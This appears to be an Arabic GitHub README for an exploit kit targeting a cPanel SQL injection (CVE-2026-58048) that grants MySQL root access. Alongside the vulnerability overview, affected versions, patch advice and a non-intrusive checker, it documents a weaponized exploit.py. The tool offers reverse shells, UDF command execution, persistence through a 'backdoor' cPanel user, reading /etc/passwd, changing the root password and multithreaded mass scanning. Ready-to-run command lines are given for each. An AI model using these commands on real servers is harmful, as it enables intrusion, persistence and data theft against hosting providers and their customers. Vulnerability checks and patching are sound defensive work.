CVEPoC

💥 CVE‑2026‑58048 – مجموعة أدوات تنفيذ SQL بصلاحيات root في cPanel

⚠️ للاستخدام الأخلاقي فقط – اختبار أمني مصرح به
يوفر هذا المستودع أدوات لمتخصصي الأمن المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، وTCK 243/244 (تركيا)، وقوانين مماثلة في جميع أنحاء العالم.

📖 نظرة عامة على الثغرة

CVE‑2026‑58048 هي ثغرة حقن SQL حرجة في إصدارات cPanel & WHM 11.x تسمح لمستخدم cPanel موثّق بتنفيذ أوامر SQL عشوائية بصلاحيات MySQL root عبر وظيفة إعادة تسمية قاعدة البيانات.

كيف تعمل

يتطلب وصولاً موثّقاً – يجب أن يمتلك المهاجم حساب cPanel صالحاً (اسم مستخدم/كلمة مرور) على الخادم المستهدف.
التلاعب بوضع SQL – يستغل الاستغلال جلسة MySQL لتعيين الوضع إلى ANSI_QUOTES، مما يغيّر سلوك التحليل.
حقن إعادة تسمية قاعدة البيانات – عند إعادة تسمية قاعدة بيانات، لا يتم تعقيم الاسم الجديد بشكل صحيح، مما يسمح للمهاجم بحقن عبارات SQL عشوائية.
صلاحيات root – لأن عملية إعادة التسمية تعمل بصلاحيات MySQL root، يتم تنفيذ SQL المحقون بأعلى صلاحيات قاعدة البيانات.
التأثير – السيطرة الكاملة على قاعدة البيانات، ورفع الصلاحيات، واختراق الخادم، وسرقة البيانات، والأبواب الخلفية، والتحرك الجانبي. قم بالترقية فوراً!

الإصدارات المتأثرة

cPanel & WHM 11.110 وما قبلها – معرّضة للثغرة
11.111 – 11.118 – معرّضة للثغرة
11.119 – 11.126 – معرّضة للثغرة
11.127 – 11.134 – معرّضة للثغرة
11.135 – 11.136 – معرّضة للثغرة
11.137.x – معرّضة للثغرة إذا كانت أقل من 11.137.1.6
11.138.1.6 وما بعدها – مُرقّعة

الترقيع

قم بالترقية إلى cPanel & WHM 11.138.1.6 أو أحدث.
إذا لم تكن الترقية ممكنة، عطّل عمليات إعادة تسمية MySQL لمستخدمي cPanel كحل مؤقت.

🧰 الأدوات

الأداة	الغرض	المستخدم المستهدف
`exploit.py`	مجموعة أدوات مسلّحة كاملة مع reverse shell، والاستمرارية، وUDF RCE، وقراءة/كتابة الملفات، وعمليات قاعدة البيانات، ودعم البروكسي، والمسح الجماعي.	الفرق الحمراء / مختبري الاختراق المصرح لهم

📊 مقارنة الميزات

🎯 ملخص حالات الاستخدام

⚙️ التثبيت

git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt

requirements.txt

requests
urllib3
colorama
pymysql

📋 المعاملات

معاملات `exploit.py`

معاملات `safecheck.py`

💥 السيناريوهات

🧪 استخدام نقاط النهاية وAPI

يستخدم الاستغلال نقاط نهاية cPanel UAPI التالية:

🛡️ الاستخدام المسؤول

استخدم هذه الأدوات فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
الوصول غير المصرح به غير قانوني وغير أخلاقي.
المؤلفون غير مسؤولين عن أي إساءة استخدام.
اتبع دائماً قوانين ولوائح بلدك.

يُقدَّم هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط.

اكتشاف الثغرة	✅	✅
اكتشاف الإصدار	✅	✅
حقن SQL بصلاحيات MySQL root	✅	❌
Reverse shell	✅	❌
الاستمرارية (إنشاء مستخدم cPanel)	✅	❌
UDF RCE (تنفيذ الأوامر)	✅	❌
قراءة/كتابة الملفات	✅	❌
عمليات قاعدة البيانات (أي SQL)	✅	❌
دعم البروكسي	✅	✅
المسح الجماعي (متعدد الخيوط)	✅	❌
صدفة تفاعلية	✅	❌
وضع غير تدخّلي (آمن)	❌	✅
وضع Verbose/Debug	✅	✅
التحكم في التحقق من SSL	✅	✅
User‑Agent مخصص	✅	✅
تأخير الطلبات / إعادة المحاولات	✅	❌
إخراج JSON / تقرير	✅	✅
فحص إمكانية الوصول إلى نقطة النهاية	❌	✅
اكتشاف تسرب وضع SQL	❌	✅

الفريق الأزرق – التحقق مما إذا كان تثبيت cPanel الخاص بك معرّضاً للثغرة	`safecheck.py`
التدقيق الأمني – تقييم ثغرات غير تدخّلي	`safecheck.py`
الفريق الأحمر – اختبار اختراق مصرح به مع استغلال كامل	`exploit.py`
Bug Bounty – اختبار الإفصاح المسؤول	`safecheck.py`
المسح الجماعي – فحص أهداف متعددة بحثاً عن الثغرة	`exploit.py` (الكشف فقط)
الاستجابة للحوادث – التحقق مما إذا كانت الأنظمة مخترقة	`safecheck.py`

`-t, --target`	عنوان URL المستهدف لـ cPanel (مثال: `https://cpanel.example.com:2083`)
`-l, --target-file`	ملف يحتوي على قائمة الأهداف (واحد في كل سطر) للمسح الجماعي
`-u, --mysql-user`	اسم مستخدم cPanel/MySQL
`-P, --mysql-pass`	كلمة مرور cPanel/MySQL
`--mysql-port`	منفذ MySQL (الافتراضي: 3306)
`-p, --port`	تجاوز منفذ cPanel (الافتراضي من URL أو 2083)
`--threads`	عدد الخيوط للأهداف المتعددة (الافتراضي: 10)
`-o, --output`	حفظ النتائج في ملف (هدف واحد)
`--log`	ملف سجل للإخراج المفصّل
`-v, --verbose`	إخراج مفصّل
`--proxy`	بروكسي HTTP/HTTPS (مثال: `http://127.0.0.1:8080`)
`-ua, --user-agent`	User‑Agent مخصص
`--no-keep-alive`	عدم إبقاء الجلسة نشطة
`--delay`	التأخير بين الطلبات (الافتراضي: 2.0s)
`--max-retries`	الحد الأقصى لإعادة المحاولات (الافتراضي: 3)
`--ssl-verify`	التحقق من شهادات SSL
`--cmd`	الأمر المراد تنفيذه (بادئة `sql:` أو `udf:` للتحديد)
`--inject`	SQL مخصص للحقن (يتجاوز الإجراءات الأخرى)
`--reverse-shell`	IP:PORT للـ reverse shell (يستخدم UDF)
`--passwd`	تغيير كلمة مرور MySQL root
`--adduser`	إنشاء مستخدم cPanel (USER DOMAIN PASSWORD)
`--read`	قراءة ملف عبر `LOAD_FILE`
`-i, --interactive`	صدفة تفاعلية بعد الاستغلال
`--verify`	التحقق من نجاح الاستغلال بمحاولة تسجيل الدخول إلى MySQL
`--ping`	فحص الهدف قبل الاستغلال

`-t, --target`	عنوان URL المستهدف لـ cPanel (مثال: `https://cpanel.example.com:2083`)
`-v, --verbose`	إخراج مفصّل
`--proxy`	بروكسي HTTP/HTTPS (مثال: `http://127.0.0.1:8080`)
`-ua, --user-agent`	User‑Agent مخصص
`--ssl-verify`	التحقق من شهادات SSL
`--timeout`	مهلة الطلب بالثواني (الافتراضي: 10)
`--log`	حفظ التقرير في ملف
`--json`	إخراج النتائج بصيغة JSON

1	فحص سريع للثغرة	`python safecheck.py -t https://cpanel.example.com:2083`
2	فحص مفصّل مع تقرير	`python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v`
3	Reverse shell	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	تنفيذ SQL مخصص (root)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' IDENTIFIED BY 'pwned'"`
5	قراءة ملف حساس	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	تغيير كلمة مرور MySQL root	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	إنشاء مستخدم cPanel جديد (الاستمرارية)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	صدفة تفاعلية بعد الاستغلال	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	المسح الجماعي من ملف	`python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json`
10	استخدام بروكسي وUser‑Agent مخصص	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"`

الأكثر شعبية

CVE-2026-58048-PoC-Exploit

حول

`/execute/Mysql/create_database`	إنشاء قاعدة بيانات مؤقتة
`/execute/Mysql/delete_database`	تنظيف قواعد البيانات المُنشأة
`/execute/Mysql/rename_database`	نقطة النهاية المعرّضة للثغرة – تُفعّل حقن SQL
`/execute/Version/get_version`	المصادقة والتحقق من الإصدار
`/execute/UserManager/create_user`	إنشاء مستخدم cPanel جديد (الاستمرارية)
`/execute/UserManager/list_users`	سرد المستخدمين الحاليين